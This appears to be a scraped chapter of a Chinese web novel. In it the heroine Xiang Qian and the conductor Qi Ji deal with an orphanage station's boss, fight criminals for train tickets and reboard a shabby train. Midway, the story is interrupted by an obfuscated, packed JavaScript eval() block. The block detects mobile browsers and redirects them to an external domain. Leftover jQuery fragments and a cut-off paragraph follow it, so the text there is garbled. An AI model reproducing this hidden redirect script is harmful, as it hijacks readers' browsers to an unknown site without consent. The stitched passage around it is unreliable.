45. 南山孤儿院(十二)

作品:《0元环游世界指南[无限]

    “我这辈子最讨厌的,就是被人安排。”


    向浅拿起斧子,朝着紫衣人走过去。


    既然齐子晋不愿意动手,那就自己来,事后追杀也好、针对也罢,她全都接受。


    斧子劈向紫衣人的脖颈,带起一股劲风。


    紫衣人半坐在地上,用手支撑着不断后退,眼睛害怕地盯着那钝了的斧子,在到来前一秒闭上了眼睛,


    预想中的疼痛没有到来,齐子晋拦住了斧子。


    他终究还是不愿意杀了紫衣人,他想,紫衣人曾经救自己,也有几分出于真心吧。


    齐子晋:“我可以让他永远不将你见过他这件事说出去。”


    向浅收起了斧子:“说吧,你什么条件。”


    齐子晋:“第一,放他一马,他毕竟救过我;第二,永远不要让孩子们变成糖果。”


    向浅:“第一条我可以做到,但第二条,只要这个站点存在一天,只要车票藏在糖果里,就永远会有孩子变成糖果。”


    齐子晋:“那就让车票不再是糖果,而是其他。”


    让糖果仅仅是糖果。


    向浅惊讶地看着齐子晋,想要站点规则发生变化,除非站点boss死亡,他这是要自取灭亡。


    齐子晋说完,就跪在了紫衣人面前,看着他脸上的面具,他伸出了手。


    三十多年了,从来没见过他长什么样子,马上就要死了,他想看看他长什么样子。


    取下紫衣人的面具,齐子晋泪水不断落下:“我在此祈求,我面前的人将今日之事说出去,将立刻死亡。”


    他说完后,用尽最后一丝力气将紫衣人的面具戴好,渐渐消失了。


    在他消失的地方,出现一块玉牌:童言无忌生效,将永远跟随。


    紫衣人拿起玉牌,挂在了自己的腰间,一瘸一拐地离开了这里。


    天空黑了几秒,突然又亮了起来,日月同时凌空,站点boss的死亡,让这里陷入了无秩序的混乱状态。


    向浅朝着祁稷走去,列车马上就要到了,他们不能再耽搁了。


    离他们不远处,易修德看着手表上的倒计时心中越发急躁,仿佛已经看见了死神。


    祁稷拿着刀,看死人一样看着易修德,以诡异的身法躲过他的袭击,侧身一刀封喉。


    易修德倒了下来,在他耳边,一个时辰的倒计时正好指向0。


    数学小老师的玉牌也随之消散。


    祁稷收起刀,看着天地混乱的状态,心知这是站点Boss死了,担心向浅也受到波及,急忙冲向她离开的方向。


    “你没事吧。”


    “你没事吧。”


    两人看见对方后,不约而同地问出了这句话。


    “我没事。”


    “我没事。”


    又是同样的话,两人顿时都有些尴尬,向浅急忙避开他的眼神。


    向浅:“列车又提前到站了,我们得赶紧找到回程车票。”


    “咦,”向浅尴尬得眼神乱瞟,落在了祁稷身后,那里正躺着一张车票。


    “这里原先是易修德?”


    祁稷点点头。


    向浅笑了起来,拍了拍祁稷的肩膀:“我带你去捡车票。”


    祁稷还没反映过来:“去哪里捡?”


    向浅:“孤儿院。”


    此刻的孤儿院,已经成了人间炼狱,原先受到压制的“孤儿”,也就是那些罪犯,没了站点boss的压制,纷纷露出了本来面目。


    原本就是穷凶极恶的人,此刻没了束缚更是肆无忌惮。


    一个魁梧的汉子一把提起同桌瘦弱的胳膊,将它卸了下来:“让你在考试时故意给我错误的答案。”


    那人也不甘示弱,一个钩子钩住对方的肩膀,一副不死不罢休的样子。


    整个孤儿院打得火热,向浅悄悄找到藏在会议室的孤儿,带着他们藏在了地道,让他们等安定了再上去,然后回到地面也加入了混战。


    对方本就是罪大恶极的人,向浅杀起人来毫无负担,和祁稷搭配得很好,很快就拿了一沓车票。


    他们狠辣果断的出手,也成功吓退了其他人。


    “我们不争了,这个老大你们来当。”其他人以为向浅也是来争老大的,纷纷将通往院长办公室的路让出来。


    向浅:“我们不是来争老大的,只是提前说明,新的站点boss和规则不能将那些孩子牵扯进来,如果敢扯进来,我们不介意再杀一次站点Boss。”


    听到向浅这么说,知道他们只是想保全孩子,不想争老大,其他人立马松了口气,纷纷赌咒发誓不会这么做,向浅才收了手。


    向浅将地道里的孩子放出来后,还想查安娜和崔西的下落,却被身后的一道声音阻止了。


    “你们还回不回去了。”


    向浅回过头,盛明抱臂站在列车内,催促着他们。


    她一阵后怕,默默收好武器,摸了摸背包里的石头,还好空空砸了易修德后一直在沉睡。


    不然让盛明知道自己骗了他可就完了。


    “咱们走吧。”


    向浅踏上了列车,看着列车下的孩子们朝着自己招手,心中一阵酸涩。


    明明还只是一群孩子,却因为这所谓的列车和站点世界,死在了阴谋里,死了也不得安生,灵魂还要变成npc和乘客周旋。


    一不小心,还会变成车票,彻底消失。


    向浅:“你说,这辆列车会停吗?这些站点会关闭吗?”


    祁稷无法回答,他从出生就在列车上,他的脑海里,列车就该运行,站点就该迎接乘客,就像日升月落,这已经成了惯例。


    盛明不知道什么时候出现在他们身后:“只要启动,列车永远不会停下。”


    “许多人踏上列车是为了金钱,想想商厦里玉币和美元的兑换比例,只要运气好,拿到一个道具,就够他们在现实世界做一个富翁了。”


    “一些人,他们生来就是天之骄子,学业、金钱、名利、爱情,他们都唾手可得,所以来到了这里冒险。”


    “一些特殊的生命体,为了收集各个站点的能量;一些逃避现实的,用危险麻痹自己;一些有理想的,为了达成自己心中某个愿望。”


    “列车上载着的不是人,是欲望。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650521|166168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>人会停下来,但欲望不会。


    向浅看向盛明:“那你呢,为了什么?”


    盛明没有回答,反问道:“你呢?”


    向浅:“当然是为了钱啊。”


    盛明:“看起来不像。”


    向浅:“那你呢,为了心中的理想。”


    对于向浅的试探,盛明也露出标准的八颗牙齿,笑道:“为了名啊。”


    盛明拿手点了点自己的编号:“看到了吗,列车员1号,现在是我,整个旅行者系列的列车,都知道如今我是1号,而他,是个失败者。”


    盛明好像是专门为了嘲讽祁稷才来的这辆列车,炫耀完后就离开了。


    向浅看着这辆列车的编号,旅行者89号列车。


    “你在当列车员时,会去等级较低的列车吗?”


    祁稷摇摇头,列车上的规则也比较明确,换而言之,每个列车员都有自己的地盘,他们一般不会跑到别人的地盘。


    列车员1-10号,就是旅行者1号列车的控制者,他们负责那辆列车的顺利通行,享受的待遇也是最好的。


    祁稷擦了擦车厢的油污,展示给向浅:“像这个等级的列车,除非有任务,否则我是一步也不愿意靠近的。”


    这是辆绿皮火车,车厢里弥漫着各种奇怪的气味,卫生也并不干净,还能听到列车运行时设备老化发出的声音。


    拉开窗帘,怪物们就贴着玻璃,发红的眼球在上面蠕动,看到窗帘被拉开,眼球瞬间变大,填满了整块玻璃,要是心脏不好的人,恐怕就被直接吓死了。


    祁稷捂住向浅的眼睛,将帘子拉上了。


    “这种怪物依靠人们的恐惧生长,不要看他,否则会一点点侵入你的心神,直到将你变成一个疯子。”


    向浅被祁稷的臂膀抱在怀里,两人之间已经超出了正常的社交距离,可两人谁都没有动。


    祁稷看着冷漠,但心脏却扑通扑通跳得飞快,他能感受到向浅的睫毛扇动,痒痒的,连带着全身都不自在了。


    向浅眼前一片黑暗,心中却越来越明朗。


    她总算明白了为什么将祁稷下放为乘客。


    这辆列车这么破,祁稷都不愿意来,盛明这个洁癖又完美主义的人却偏偏出现在了这里。


    说是为了向祁稷炫耀,这种鬼话也只有祁稷才会相信。


    “不要查了吧。”


    向浅放下祁稷的手,转过身看着他的眼睛。


    祁稷:“为什么?”


    向浅:“线索断了,人跟丢了,已经杀了他们,随便编个理由,你的总指挥会同意的。”


    祁稷:“你是查到了什么?”


    向浅:“正是因为什么也没有查到,所以才要放弃。”


    “他们有备而来,我一个乘客,你一个列车员,怎么斗得过。”


    祁稷:“所以,你要认命。”


    向浅逃避了他的视线:“如果还想活着,就听我的。”


    祁稷:“我已经活了太久,但都只是行尸走肉,直到和你查案的这些天,我才真切地感觉到我是活着的,就算前路危险,朝闻道,夕死可矣。”